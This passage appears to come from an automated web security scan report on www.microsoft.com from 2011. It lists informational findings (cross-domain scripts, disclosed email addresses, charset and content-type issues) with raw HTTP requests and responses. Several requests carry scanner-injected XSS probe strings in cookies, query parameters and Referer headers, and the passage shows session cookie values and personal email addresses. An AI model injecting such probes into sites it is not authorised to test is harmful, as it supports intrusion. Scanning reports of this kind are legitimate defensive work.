WT_NVR_RU=0=msdn:1=:2=; MS_SRDR=downloadOptInState=optIn&downloadSiteID=982E5968-67CF-4DCD-891E-39CC43A50DDB; mbox=check#true#1312499015|session#1312498954114-515218#1312500815|PC#1312498954114-515218.19#1315090957; s_cc=true; s_vnum=1344034955534%26vn%3D2; s_nr=1312501198208-Repeat; c_m=undefinedwww.fakereferrerdominator.comwww.fakereferrerdominator.com; s_sq=mswmw7mobilemainprod%3D%2526pid%253Dhowto%25253Awp7%25253Apeople%25253Aset-up-an-email-account%2526pidt%253D1%2526oid%253Dhttp%25253A//www.microsoft.com/windowsphone/en-us/howto/wp7/default.aspx%2526ot%253DA; s_invisit=true; gpv_p3=signed-out

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
VTag: 279984532100000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Date: Thu, 04 Aug 2011 23:39:05 GMT
Content-Length: 39836

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- Portal Version: 01.03.1125.0002
-->
<!-- Render date: 8/4/2011 4:39:0
...[SNIP]...
</script>
<script src='http://ads1.msn.com/library/dap.js' type="text/javascript"></script>
...[SNIP]...

4.3. http://www.microsoft.com/windowsphone/en-us/howto/wp7/people/set-up-an-email-account.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.microsoft.com
Path:   /windowsphone/en-us/howto/wp7/people/set-up-an-email-account.aspx

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /windowsphone/en-us/howto/wp7/people/set-up-an-email-account.aspx HTTP/1.1
Host: www.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US
Referer: http://explore.live.com/windows-live-hotmail-mobile
Cookie: WT_NVR=0=/:1=ru-ru|events:2=ru-ru/events|austria/partnernet:3=ru-ru/events/platforma|global/en/ca|business/de-at/seiten|canada/fr/windows; .ASPXANONYMOUS=oVqdi4uJzAEkAAAAMjdiNmQzMjItMWRkOS00NTRkLTg5MmEtNDgzNzY5M2ZkNmVkAQIlJ89jik0D2klaRwL1Hakh1tY1; CBC_Page_History=%7B%20%22title%22%3A%22KMU-Portal%20%7C%20Microsoft%20%C3%96sterreich%22%2C%20%22url%22%3A%22http%3A%2F%2Fwww.microsoft.com%2Fbusiness%2Fde-at%2FSeiten%2Fdefault.aspx%22%20%7D; s_campaign=%27%22%20ns%3D%20netsparker%280x01A74E%29%20; s_sq=mswllmtoolkit3com%3D%2526pid%253Dhttp%25253A//www.microsoft.com/canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx%25253Ftab%25253Dphotos%252526ocid%25253D%25252527%25252522%25252520ns%25253D%25252520netsparker%2525280x01A74E%252529%25252520%2526oid%253Dhttp%25253A//download.live.com/%25253Focid%25253DPID27252%25253A%25253AT%25253AWIN7WLv2%25253AON%25253AWL%25253Afr-ca%25253Ahero%25253AgetWL%2526ot%253DA; WT_FPC=id=50.23.123.106-1202376064.30165091:lv=1312487831635:ss=1312487831635; s_cc=true; MSID=Microsoft.CreationDate=07/22/2011 11:34:14&Microsoft.LastVisitDate=08/04/2011 20:40:22&Microsoft.VisitStartDate=08/04/2011 20:38:01&Microsoft.CookieId=4f13005d-d999-4b48-91f4-8fe21a8e98b5&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=21&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0595-8416-6422-7467; omniID=4b66888c_f944_46bd_97e2_d694b952ce36; WT_NVR_RU=0=msdn:1=:2=; A=I&I=AxUFAAAAAADPBwAA3o0vQNpA7xrFnFu/ytXS3w!!&GO=244; MC1=GUID=be6338fceb9d3747bc020ac2f6ad0b8f&HASH=fc38&LV=20117&V=3; MUID=1E3A3B53C93B61CE33DE3964CC3B61A6
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
VTag: 791655531500000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Date: Thu, 04 Aug 2011 23:00:59 GMT
Content-Length: 52154

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- Portal Version: 01.03.1125.0002
-->
<!-- Render date: 8/4/2011 4:00:5
...[SNIP]...
</script>
<script src='http://ads1.msn.com/library/dap.js' type="text/javascript"></script>
...[SNIP]...

5. Email addresses disclosed  previous  next
There are 4 instances of this issue:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).


5.1. http://www.microsoft.com/business/Style%20Library/1Mscom/shared/js/jquery.hoverIntent.min.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.microsoft.com
Path:   /business/Style%20Library/1Mscom/shared/js/jquery.hoverIntent.min.js

Issue detail

The following email address was disclosed in the response:

Request

GET /business/Style%20Library/1Mscom/shared/js/jquery.hoverIntent.min.js HTTP/1.1
Host: www.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Accept: */*
Referer: http://www.microsoft.com/business/de-at/Seiten/default.aspx
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=ru-ru|events:2=ru-ru/events|austria/partnernet:3=ru-ru/events/platforma|global/en/ca; WT_FPC=id=50.23.123.106-1202376064.30165091:lv=1312479512615:ss=1312479477405; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=5141030f-fc19-4f39-9cae-7f2459f830bb&Microsoft.CreationDate=08/04/2011 20:38:01&Microsoft.LastVisitDate=08/04/2011 20:38:32&Microsoft.NumberOfVisits=3&SessionCookie.Id=BA3588BC00013392345C0ADBBC51D868; MS0=2baf9d55aa6c4ce6b3420d3d3debec45; MSID=Microsoft.CreationDate=07/22/2011 11:34:14&Microsoft.LastVisitDate=08/04/2011 20:38:32&Microsoft.VisitStartDate=08/04/2011 20:38:01&Microsoft.CookieId=4f13005d-d999-4b48-91f4-8fe21a8e98b5&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=6&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0595-8416-6422-7467; omniID=4b66888c_f944_46bd_97e2_d694b952ce36; s_cc=true; s_sq=%5B%5BB%5D%5D; WT_NVR_RU=0=msdn:1=:2=; ADS=SN=175A21EF; A=I&I=AxUFAAAAAADPBwAA3o0vQNpA7xrFnFu/ytXS3w!!&GO=244; MC1=GUID=be6338fceb9d3747bc020ac2f6ad0b8f&HASH=fc38&LV=20117&V=3; MUID=1E3A3B53C93B61CE33DE3964CC3B61A6
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private,max-age=0
Content-Length: 1644
Content-Type: application/x-javascript
Expires: Wed, 20 Jul 2011 20:38:53 GMT
Last-Modified: Tue, 12 Jul 2011 01:26:43 GMT
ETag: "{15D153A0-9C92-44BC-991A-32212C4BBFBC},1"
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
SPRequestGuid: c77bb296-ee05-474c-b46f-16d88997dd55
X-SharePointHealthScore: 0
ResourceTag: rt:15D153A0-9C92-44BC-991A-32212C4BBFBC@00000000001
X-Content-Type-Options: nosniff
Content-Disposition: attachment; filename=jquery.hoverIntent.min.js
X-Download-Options: noopen
Public-Extension: http://schemas.microsoft.com/repl-2
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.5136
VTag: 279827131300000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Date: Thu, 04 Aug 2011 20:38:52 GMT

/**
* hoverIntent r5 // 2007.03.27 // jQuery 1.1.2+
* <http://cherne.net/brian/resources/jquery.hoverIntent.html>
*
* @param f onMouseOver function || An object with configuration options
* @p
...[SNIP]...
<brian@cherne.net>
...[SNIP]...

5.2. http://www.microsoft.com/business/Style%20Library/1Mscom/shared/js/jquery.vticker.min.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.microsoft.com
Path:   /business/Style%20Library/1Mscom/shared/js/jquery.vticker.min.js

Issue detail

The following email address was disclosed in the response:

Request

GET /business/Style%20Library/1Mscom/shared/js/jquery.vticker.min.js HTTP/1.1
Host: www.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Accept: */*
Referer: http://www.microsoft.com/business/de-at/Seiten/default.aspx
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=ru-ru|events:2=ru-ru/events|austria/partnernet:3=ru-ru/events/platforma|global/en/ca; WT_FPC=id=50.23.123.106-1202376064.30165091:lv=1312479512615:ss=1312479477405; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=5141030f-fc19-4f39-9cae-7f2459f830bb&Microsoft.CreationDate=08/04/2011 20:38:01&Microsoft.LastVisitDate=08/04/2011 20:38:32&Microsoft.NumberOfVisits=3&SessionCookie.Id=BA3588BC00013392345C0ADBBC51D868; MS0=2baf9d55aa6c4ce6b3420d3d3debec45; MSID=Microsoft.CreationDate=07/22/2011 11:34:14&Microsoft.LastVisitDate=08/04/2011 20:38:32&Microsoft.VisitStartDate=08/04/2011 20:38:01&Microsoft.CookieId=4f13005d-d999-4b48-91f4-8fe21a8e98b5&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=6&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0595-8416-6422-7467; omniID=4b66888c_f944_46bd_97e2_d694b952ce36; s_cc=true; s_sq=%5B%5BB%5D%5D; WT_NVR_RU=0=msdn:1=:2=; ADS=SN=175A21EF; A=I&I=AxUFAAAAAADPBwAA3o0vQNpA7xrFnFu/ytXS3w!!&GO=244; MC1=GUID=be6338fceb9d3747bc020ac2f6ad0b8f&HASH=fc38&LV=20117&V=3; MUID=1E3A3B53C93B61CE33DE3964CC3B61A6
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private,max-age=0
Content-Length: 1267
Content-Type: application/x-javascript
Expires: Wed, 20 Jul 2011 20:38:54 GMT
Last-Modified: Tue, 12 Jul 2011 01:26:44 GMT
ETag: "{CCAC0EF6-0684-425A-A3BF-BE7A834A23B4},1"
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
SPRequestGuid: 071a65e4-d61b-418e-9f31-1ba89a4d681c
X-SharePointHealthScore: 0
ResourceTag: rt:CCAC0EF6-0684-425A-A3BF-BE7A834A23B4@00000000001
X-Content-Type-Options: nosniff
Content-Disposition: attachment; filename=jquery.vticker.min.js
X-Download-Options: noopen
Public-Extension: http://schemas.microsoft.com/repl-2
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.5136
VTag: 279576430800000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Date: Thu, 04 Aug 2011 20:38:54 GMT

/*
* Tadas Juozapaitis ( kasp3rito@gmail.com )
*
*
* Modified by 3chillies - Jan 2010
* Replaced options.isPaused with jQuery data() function for correct per-element pausing
*/
(function(a){a.fn.vTicker=function(b){var c={speed:700,pause:4
...[SNIP]...

5.3. http://www.microsoft.com/canada/fr/windows/Framework/SubSites/WindowsLive/v3/scripts/omniture/s_code.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.microsoft.com
Path:   /canada/fr/windows/Framework/SubSites/WindowsLive/v3/scripts/omniture/s_code.js

Issue detail

The following email address was disclosed in the response:

Request

GET /canada/fr/windows/Framework/SubSites/WindowsLive/v3/scripts/omniture/s_code.js HTTP/1.1
Host: www.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Accept: */*
Referer: http://www.microsoft.com/canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx?tab=photos&ocid=%27%22%20ns=%20netsparker(0x01A74E)%20
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=ru-ru|events:2=ru-ru/events|austria/partnernet:3=ru-ru/events/platforma|global/en/ca|business/de-at/seiten; .ASPXANONYMOUS=oVqdi4uJzAEkAAAAMjdiNmQzMjItMWRkOS00NTRkLTg5MmEtNDgzNzY5M2ZkNmVkAQIlJ89jik0D2klaRwL1Hakh1tY1; CBC_Page_History=%7B%20%22title%22%3A%22KMU-Portal%20%7C%20Microsoft%20%C3%96sterreich%22%2C%20%22url%22%3A%22http%3A%2F%2Fwww.microsoft.com%2Fbusiness%2Fde-at%2FSeiten%2Fdefault.aspx%22%20%7D; MSID=Microsoft.CreationDate=07/22/2011 11:34:14&Microsoft.LastVisitDate=08/04/2011 20:40:22&Microsoft.VisitStartDate=08/04/2011 20:38:01&Microsoft.CookieId=4f13005d-d999-4b48-91f4-8fe21a8e98b5&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=21&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0595-8416-6422-7467; WT_FPC=id=50.23.123.106-1202376064.30165091:lv=1312479561593:ss=1312479477405; omniID=4b66888c_f944_46bd_97e2_d694b952ce36; WT_NVR_RU=0=msdn:1=:2=; A=I&I=AxUFAAAAAADPBwAA3o0vQNpA7xrFnFu/ytXS3w!!&GO=244; MC1=GUID=be6338fceb9d3747bc020ac2f6ad0b8f&HASH=fc38&LV=20117&V=3; MUID=1E3A3B53C93B61CE33DE3964CC3B61A6
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: max-age=900
Content-Type: application/x-javascript
Last-Modified: Thu, 17 Dec 2009 08:50:36 GMT
Accept-Ranges: bytes
ETag: "a8cd280f67eca1:0"
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
VTag: 279398330800000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Date: Thu, 04 Aug 2011 22:56:15 GMT
Content-Length: 18389

/* SiteCatalyst code version: H.17.
Copyright 1997-2008 Omniture, Inc. More info available at
http://www.omniture.com */

var s_account = "mswllmtoolkit3com"
var s = s_gi(s_account)
/***********
...[SNIP]...
av()+q+(qs?qs:s."
+ "rq(^C)),0,id,ta);qs`e;`Wm('t')`5s.p_r)s.p_r(`R`X`e}^7(qs);^z`p(@i;`l@i`L^9,`G$71',vb`R@G=^D=s.`N`i=s.`N^M=`F@0^y=s.ppu=^p=^pv1=^pv2=^pv3`e`5$x)`F@0@G=`F@0eo=`F@0`N`i=`F@0`N^M`e`5!id@Ls.tc#Ctc=1;s.f"
+ "lush`a()}`2$m`Atl`0o,t,n,vo`1;s.@G=@wo`R`N^M=t;s.`N`i=n;s.t(@i}`5pg){`F@0co`0o){`K@J\"_\",1,#B`2@wo)`Awd@0gs`0$S{`K@J$p1,#B`2s.t()`Awd@0dc`0$S{`K@J$p#B`2s.t()}}@3=(`F`J`Y`8`4@us@d0`Rd=^
...[SNIP]...

5.4. http://www.microsoft.com/windowsphone/en-us/howto/wp7/people/set-up-an-email-account.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.microsoft.com
Path:   /windowsphone/en-us/howto/wp7/people/set-up-an-email-account.aspx

Issue detail

The following email address was disclosed in the response:

Request

GET /windowsphone/en-us/howto/wp7/people/set-up-an-email-account.aspx HTTP/1.1
Host: www.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US
Referer: http://explore.live.com/windows-live-hotmail-mobile
Cookie: WT_NVR=0=/:1=ru-ru|events:2=ru-ru/events|austria/partnernet:3=ru-ru/events/platforma|global/en/ca|business/de-at/seiten|canada/fr/windows; .ASPXANONYMOUS=oVqdi4uJzAEkAAAAMjdiNmQzMjItMWRkOS00NTRkLTg5MmEtNDgzNzY5M2ZkNmVkAQIlJ89jik0D2klaRwL1Hakh1tY1; CBC_Page_History=%7B%20%22title%22%3A%22KMU-Portal%20%7C%20Microsoft%20%C3%96sterreich%22%2C%20%22url%22%3A%22http%3A%2F%2Fwww.microsoft.com%2Fbusiness%2Fde-at%2FSeiten%2Fdefault.aspx%22%20%7D; s_campaign=%27%22%20ns%3D%20netsparker%280x01A74E%29%20; s_sq=mswllmtoolkit3com%3D%2526pid%253Dhttp%25253A//www.microsoft.com/canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx%25253Ftab%25253Dphotos%252526ocid%25253D%25252527%25252522%25252520ns%25253D%25252520netsparker%2525280x01A74E%252529%25252520%2526oid%253Dhttp%25253A//download.live.com/%25253Focid%25253DPID27252%25253A%25253AT%25253AWIN7WLv2%25253AON%25253AWL%25253Afr-ca%25253Ahero%25253AgetWL%2526ot%253DA; WT_FPC=id=50.23.123.106-1202376064.30165091:lv=1312487831635:ss=1312487831635; s_cc=true; MSID=Microsoft.CreationDate=07/22/2011 11:34:14&Microsoft.LastVisitDate=08/04/2011 20:40:22&Microsoft.VisitStartDate=08/04/2011 20:38:01&Microsoft.CookieId=4f13005d-d999-4b48-91f4-8fe21a8e98b5&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=21&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0595-8416-6422-7467; omniID=4b66888c_f944_46bd_97e2_d694b952ce36; WT_NVR_RU=0=msdn:1=:2=; A=I&I=AxUFAAAAAADPBwAA3o0vQNpA7xrFnFu/ytXS3w!!&GO=244; MC1=GUID=be6338fceb9d3747bc020ac2f6ad0b8f&HASH=fc38&LV=20117&V=3; MUID=1E3A3B53C93B61CE33DE3964CC3B61A6
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
VTag: 791655531500000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Date: Thu, 04 Aug 2011 23:00:59 GMT
Content-Length: 52154

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- Portal Version: 01.03.1125.0002
-->
<!-- Render date: 8/4/2011 4:00:5
...[SNIP]...
<span class="hhtUserInput">kevinc@contoso.com</span>
...[SNIP]...

6. HTML does not specify charset  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.microsoft.com
Path:   /library/errorpages/searchMetric.html

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

GET /library/errorpages/searchMetric.html?form=MSERRO&q=global%20en%20ca HTTP/1.1
Host: www.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.microsoft.com/global/en/ca/
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=ru-ru:2=ru-ru/events:3=ru-ru/events/platforma|global/en/ca; WT_FPC=id=50.23.123.106-1202376064.30165091:lv=1312472479433:ss=1312472479433; A=I&I=AxUFAAAAAADPBwAA3o0vQNpA7xrFnFu/ytXS3w!!&GO=244; MC1=GUID=be6338fceb9d3747bc020ac2f6ad0b8f&HASH=fc38&LV=20117&V=3; MSID=Microsoft.CreationDate=07/22/2011 11:34:14&Microsoft.LastVisitDate=07/22/2011 11:34:14&Microsoft.VisitStartDate=07/22/2011 11:34:14&Microsoft.CookieId=4f13005d-d999-4b48-91f4-8fe21a8e98b5&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0595-8416-6422-7467; MUID=1E3A3B53C93B61CE33DE3964CC3B61A6
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: max-age=900
Content-Type: text/html
Last-Modified: Fri, 13 Jun 2008 16:29:48 GMT
Accept-Ranges: bytes
ETag: "06637b272cdc81:0"
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
VTag: 43861730900000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Date: Thu, 04 Aug 2011 18:41:21 GMT
Content-Length: 437

...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head>
<title>ErrorSearch
...[SNIP]...

7. Content type incorrectly stated  previous
There are 2 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


7.1. http://www.microsoft.com/business/ww/js/foresee/foresee-surveydef.js  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.microsoft.com
Path:   /business/ww/js/foresee/foresee-surveydef.js

Issue detail

The response contains the following Content-type statement:The response states that it contains script. However, it actually appears to contain unrecognised content.

Request

GET /business/ww/js/foresee/foresee-surveydef.js HTTP/1.1
Host: www.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Accept: */*
Referer: http://www.microsoft.com/business/de-at/Seiten/default.aspx
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=ru-ru|events:2=ru-ru/events|austria/partnernet:3=ru-ru/events/platforma|global/en/ca|business/de-at/seiten; CBC_Page_History=%7B%20%22title%22%3A%22KMU-Portal%20%7C%20Microsoft%20%C3%96sterreich%22%2C%20%22url%22%3A%22http%3A%2F%2Fwww.microsoft.com%2Fbusiness%2Fde-at%2FSeiten%2Fdefault.aspx%22%20%7D; fsr.a.cbc=1312490360196; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=5141030f-fc19-4f39-9cae-7f2459f830bb&Microsoft.CreationDate=08/04/2011 20:38:01&Microsoft.LastVisitDate=08/04/2011 20:39:06&Microsoft.NumberOfVisits=4&SessionCookie.Id=BA3588BC00013392345C0ADBBC51D868; MS0=2baf9d55aa6c4ce6b3420d3d3debec45; MSID=Microsoft.CreationDate=07/22/2011 11:34:14&Microsoft.LastVisitDate=08/04/2011 20:39:06&Microsoft.VisitStartDate=08/04/2011 20:38:01&Microsoft.CookieId=4f13005d-d999-4b48-91f4-8fe21a8e98b5&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=7&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0595-8416-6422-7467; WT_FPC=id=50.23.123.106-1202376064.30165091:lv=1312479541539:ss=1312479477405; omniID=4b66888c_f944_46bd_97e2_d694b952ce36; s_cc=true; s_sq=%5B%5BB%5D%5D; WT_NVR_RU=0=msdn:1=:2=; ADS=SN=175A21EF; A=I&I=AxUFAAAAAADPBwAA3o0vQNpA7xrFnFu/ytXS3w!!&GO=244; MC1=GUID=be6338fceb9d3747bc020ac2f6ad0b8f&HASH=fc38&LV=20117&V=3; MUID=1E3A3B53C93B61CE33DE3964CC3B61A6
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: max-age=900
Content-Type: application/x-javascript
Last-Modified: Tue, 05 Jul 2011 21:09:29 GMT
Accept-Ranges: bytes
ETag: "421476d4573bcc1:0"
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
VTag: 279817031500000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Date: Thu, 04 Aug 2011 20:40:10 GMT
Content-Length: 47992

FSR.surveydefs = [{
site: 'cbc',
name: 'browse',
invite: {
when: 'onentry'
},
pop: {
when: 'later'
},
criteria: {
sp: 0,
lf: 1,

...[SNIP]...

7.2. http://www.microsoft.com/canada/expression/scripts/Silverlight.Experience.js  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.microsoft.com
Path:   /canada/expression/scripts/Silverlight.Experience.js

Issue detail

The response contains the following Content-type statement:The response states that it contains script. However, it actually appears to contain unrecognised content.

Request

GET /canada/expression/scripts/Silverlight.Experience.js HTTP/1.1
Host: www.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Accept: */*
Referer: http://www.microsoft.com/canada/expression/resources/BlendTraining/Video-Display.aspx?uuid=%27%22%20ns=%20alert(0x018DC1)%20&day=1&pageName=%2fresources%2fblendtraining%2fday.aspx
Accept-Language: en-US
Accept-Encoding: gzip, deflate
